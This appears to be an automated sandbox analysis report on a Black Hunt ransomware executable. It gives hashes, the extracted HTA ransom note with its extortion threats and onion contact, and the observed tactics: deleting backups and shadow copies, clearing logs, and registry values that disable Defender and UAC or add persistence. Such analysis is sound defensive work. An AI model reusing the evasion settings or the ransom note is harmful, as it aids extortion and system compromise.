03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 22:09

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General

Target

03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
Size

707KB
MD5

0491da25ec3f1dc8044cfc843e1aa909
SHA1

da6e30882d587fafd2e5d6f938b97c3b30a03413
SHA256

03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892
SHA512

a6ecf24122f8c1e7ad64a19a3071892ada3bab41bc1487750bff88ec6d7b8d6912d57fffb8b714da8fe8b64b44780244f249b84cac4cf169923b74561e0fd1e5
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1V8avnh:6uaTmkZJ+naie5OTamgEoKxLWg0h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1Ii8+IDxwaG90b3Nob3A6VGV4dExheWVycz4gPHJkZjpCYWc+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iSHVudCAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJIdW50ICAiLz4gPHJkZjpsaSBwaG90b3Nob3A6TGF5ZXJOYW1lPSJCbGFjayAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJCbGFjayAgIi8+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iMi4wIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSIyLjAiLz4gPC9yZGY6QmFnPiA8L3Bob3Rvc2hvcDpUZXh0TGF5ZXJzPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PvFKMOAAAAS2SURBVGje7Vq/ixNBFM55vQRtLLe2itoEbPIHpEghB4LBdFaB9Gm2sNhCIU0qm1x/RSz0EEHWw8LikFRBQXERUWOVSrSQdVbeHO++vPd2ci4BuQx83LGz82Pnfe+9b2ZSy/O8tsUWBc7Xx54uLYdvDt8dFhWj6Pfzf4KvDq+F9fmnMnCIGaLaBgp9RIxjB5ChmG++xV88l8jQEBbWY0D1ql0A9dpmSl0aO4AMj7YkOMFDiQxxQMOZQIoWvJPVNldWxg5IE7sOr7YkOMEdiQxpYOMleD6G3OkGyYAEngaQ4YrDF94u293NF4Tif17XdFiw+qMLFzZusGRnJx8Tug4V9v2rcG6JDEshCqTC85w80pcJ1MVGSG+dQU/4dlKamuLYAWS46fA71Nh9t/i8flytMUrRhvErJsMHh0tIhkh4kRtjaZBhZtR5LYJRZ0Tg0QZLT+g7o+e+ZDg2fVhDmPOI2txbx9hjqO9vmAz7jpx8/Kja/p8yIX5SOkJUsMgQBYrHnhJZECmMV5ayIk08KkSYsP5H1mKj5x1BfZORqKjzGFK7JrXx2GeRhj9vU9jPICp5Yw+pf17v3/HtKyDDA4kMsWCcFpEkVTysTDw2AomAqWVW8m7PGLsuRIsJ+9gdhxeWsdHzND2hkUiLNF14jkb2SOj9A+gfUVGE2JPIkJ7BaGXiMRWEZ0fI8zk913Y0MRl+AilCIjASaQaa4bLDR/7OQvE8D153CF4uGUdLKwk81+DJc2yQYQ4i94z46XBDIkNoKEc9oInHhtC+YaSWSJlHbAjLacA2uA5kuEYKWhRnoYZCEnHjaCRBTy8iQ5EK0Oh8DGzTrlavvPUpnZMhUrwxViJGI0A8xoYGaQgRQwr7ZYdXWdn2V9hN3OXvDdckg08FSCIeMTKFJMeBkWTIDD6H8SsWp0/gJFcUjyks+sjwVs14qdGmp4wXl8yj7ORxhbQCGRJLPBaeOGZ7+rmSp4eKLsBtKieJtn09VLw/WuN8oyBpkYaaQl1EKaoA6IxEIkNsCESpPg4QjxYZNHKtQ4ZWABkmAhmeWeIR+9BSwYEiHoeB4pHvMDTv7waeb3AyoZaIICIdnybUnkSGVFHrPoVgOB4o4jE1yDAytERH6Y+fdDYgZcTKLmOp3VNQ+/easWGhzFSAJCq8rg/bRE6SREkFlvePDQLhPIc0NpLBj8ujHEWHHw7XJTJoJ49ZyVF0bGz7UkWA5oZ4lIiSMV0yNcTjiD4Io86AkeEqLYLoeQew2OjlCfPMo5JtH6YVLRX0DYOPBT1T9COdQPq5Yp0ft8nmTHOaO1xEMkRrio5eiXfGa14RL9e8H+kEnDyKF1eu3JK8RjK2lQpCycC9VEsF1ummJm4xQnjdM6eIE9HcI/YN+3R4xeb0WPgpwIp41DANuK3kZKgrh0cTMHgqCMOZQZxO2bW1QJQO+91DkLEl9W8dYftQzI3r04qVCrTTTW2OIakkoZTRpksthWz3JTJEZFQLZVfIIzJyDISpU4RI2cGR995WyaVVj/pN6W+Ppac6zhGEIn5TRM9fVrk1a1Kq6a6q9MovqroM2hy6bDfRFN4Bot1eIcM5+9nbG4dPW9TekX46v2TYwsYf/4cvUeVs4qUAAAAASUVORK5CYII= " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 1rCQykawgAeLqlfw </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1568	fsutil.exe
3524	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
4324	wevtutil.exe
3772	wevtutil.exe
3540	wevtutil.exe
4316	wevtutil.exe
3632	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2756	bcdedit.exe
2624	bcdedit.exe
3960	bcdedit.exe
4064	bcdedit.exe

Renames multiple (2885) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2460	wbadmin.exe
3900	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
4028	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Y:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\U:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\A:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\L:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\M:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\R:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\O:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\E:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\X:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\B:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\G:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\Z:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\V:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\S:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\K:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\N:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\P:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\J:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\H:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\I:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened (read-only)	\??\Q:	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\updater.jar	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ms.txt	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.views_3.7.0.v20140408-0703.jar	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku-ckb.txt	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\#BlackHunt_Private.key	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-options.xml	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\Reference Assemblies\#BlackHunt_ReadMe.txt	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-application_ja.jar	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\EST	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tet\#BlackHunt_ReadMe.txt	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\#BlackHunt_ReadMe.txt	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423861258748.profile.gz	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Troll	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-api-search.jar	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Guyana	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\#BlackHunt_Private.key	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_BR\#BlackHunt_ReadMe.txt	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\#BlackHunt_ReadMe.hta	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Belize	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Brussels	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.extensionlocation.nl_ja_4.4.0.v20140623020002.jar	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\#BlackHunt_Private.key	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
